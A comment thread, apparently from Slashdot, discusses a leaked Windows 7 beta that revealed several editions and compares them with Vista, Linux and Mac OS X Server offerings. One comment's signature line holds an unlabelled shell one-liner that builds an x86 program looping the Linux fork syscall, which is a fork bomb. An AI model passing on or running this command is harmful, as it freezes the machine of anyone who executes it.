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Windows 7 To Come In Multiple Versions
Crazy Taco writes "Tom's Hardware reports on newly discovered screenshots that reveal Microsoft is planning to release their newest version of Windows in multiple confusing versions ... again. The information comes from the latest version of the Windows 7 beta, build 7025 (the public beta is build 7000), and shows a screen during installation that asks the user which version of the OS he or she would like to install. Who's up for guessing what the difference is between Windows 7 'Starter' and Windows 7 'Home Basic?'"
I mean, my copy of the beta from TechNet says right on the login screen 'Windows 7 Ultimate'.
That would imply a product selection similar to Vista...
Except your car comes with all the features, it's just that they disable the ones you didn't pay for, and call the cops on you if you get them working by yourself.
(The Vista/7 DVD has the same content for all versions, your product key controls which version is installed. Thus if you choose to skip key entry at install time, it has to ask you which version you want to install.)
Actually you can kind of do that with Fedora. Instead of downloading the full ISO, just download the 5-meg ISO image which contains just the anaconda installer. Then select a fedora mirror as your install server, and choose the package groups that you need as they are presented to you.
Only thing is they don't make it obvious where to grab the small ISO image. You have to browse through the the repository a bit. For example: "/pub/fedora/linux/releases/10/Fedora/i386/os/images/boot.iso"
Where?
XP and Vista Starter edition were cut-price, limited versions for developing markets, to combat piracy. I've seen no evidence that Microsoft plans on making Starter a netbook version- that would be a bizzare branding change.
The very thought of Mac OS being a server makes me ill. X is based on BSD, why not just use BSD?
Because they have some nice tools for server management (gui (Workgroup Manager) and commandline (e.g. dscl)) that don't exist in vanilla BSD?
I'm just running it for a lab with less than 10 computers and less than 30 users, but for someone like me who is only a part-time administrator with other duties to my job, the Mac OS X Server tools are great.
Wrong. The 945 chipset in my work Macbook can handle Aero just fine, and most Atom-based netbooks have a 945 as well.
The limitation would be the processor, and that's not going to affect Aero so much as it will the entire system.
Hail Eris, full of mischief...
E pluribus sanguinem
That's kind of, sort of, not really true. The Diamondville core supports x86-64, but Intel is playing an odd game where they're disabling it on some processors for no specific reason. The Atom 200 and 300 series leave it enabled, meanwhile the N27x series disable it for no obvious reason. Meanwhile the Silverthorne core used in the Atom Z5xx series is more ambiguous; none of the products its used in support x86-64, but there's a lot of disagreement over whether it's actually a different core. The reigning belief is that Diamondville is just Silverthorne built to use the GTL bus, which means Silverthorne supports x86-64 all along.
So why would Intel artificially disable x86-64 support? There's the million dollar question.
I probably should also add that the Intel Core (1) is 32bit only. Replaced since 2006 by the Core 2, MS may not want Core (1) boxes limited to Vista, hence they still need a 32bit version
Huh? UAC is not in XP Pro, and it is in Vista Home.
When was the last time you used Windows?
Why would anyone put up with a hopelessly-crippled-to-the-point-of-being-nearly-useless version of Windows when they could buy a bootleg of a Pro/Ultimate edition on a street corner for almost nothing or even torrent it for free?
Because most people installing Windows are OEMs, not end users.
I have some experience with this from developing countries. Sometimes it's nice to have licensed software, such as when you're an international organisation, a government body, a joint venture, or when your country sometimes does care about licensing issues. So people buy the cheap version to prove that they have licensed software. Then they buy a copy of the full version for $2 on the street corner.
As a state gets corrupt, its laws multiply; the most corrupt states have the most numerous laws. (Tacitus, Annales 3:27)
Yeah - but there IS a difference....
The "home" versions of Linux most times are focused on speed rather than stability. Not to say the "home" versions are not stable, but the first priority is things like multimedia etc. Also the focus lays on the latest and newest applications.
The "Server" versions are optimized to be rock stable and fast in things you could expect from a server. Multimedia has no high priority here. Also software is not the latest bleeding edge but proved and stable.
So - there is a reason you have two very different types. At the other hand the Microsoft versions are all the same. The only difference is the amount of services (software) added, and the amount of cash you have to deliver...
Actually the server versions of Windows are tuned differently too
http://blogs.msdn.com/larryosterman/archive/2009/01/08/why-do-people-think-that-a-server-sku-works-well-as-a-general-purpose-operating-system.aspx
One of the senior developers at Microsoft recently complained that the audio quality on his machine (running Windows Server 2008) was poor.
To me, it's not surprising. Server SKUs are tuned for high performance in server scenarios, they're not configured for desktop scenarios. That's the entire POINT of having a server SKU - one of the major differences between server SKUs and client SKUs is that the client SKUs are tuned to balance the OS in favor of foreground responsiveness and the server SKUs are tuned in favor of background responsiveness (after all, its a server, there's usually nobody sitting at the console, so there's no point in optimizing for the console).
In this particular case, the documentation for the MMCSS service describes a large part of the root cause for the problem: The MMCSS service (which is the service that provides glitch resilient services for Windows multimedia applications) is essentially disabled on server SKUs. It's just one of probably hundreds of other settings that are tweaked in favor of server responsiveness on server SKUs.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
This is pretty typical in enterprise stuff, actually. The big unix system vendors (IBM, HP, so on) will sell you a machine with extra ram already installed, and you turn it on "On-demand" You pay for the time you used it. I've never fully understood it either.
The RedHat systems are actually different levels of support as well as different pre-configured systems - what you are actually paying for is the support not the system (i.e. you actually get a real benefit by paying more)
Right. So you pay more and get more... just like the different versions of Windows.
Windows flavours are purely marketing and are there so some flavours can be sold more cheaply than others, they cost the same to design, build market and sell but the more complete systems can be sold for more
Given that the different versions of Windows come with different features, it's quite arguable from a conceptual point of view that they cost more (or less) to "design", depending on how you want to measure.
It's ultimately moot, however. The important point is that there's nothing unusual, special, or different whatsoever about a manufacturer targeting different price points with products that just variations on a theme. Anyone who's ever gone car shopping, will not be surprised that there are different versions of Windows with different features at different price points.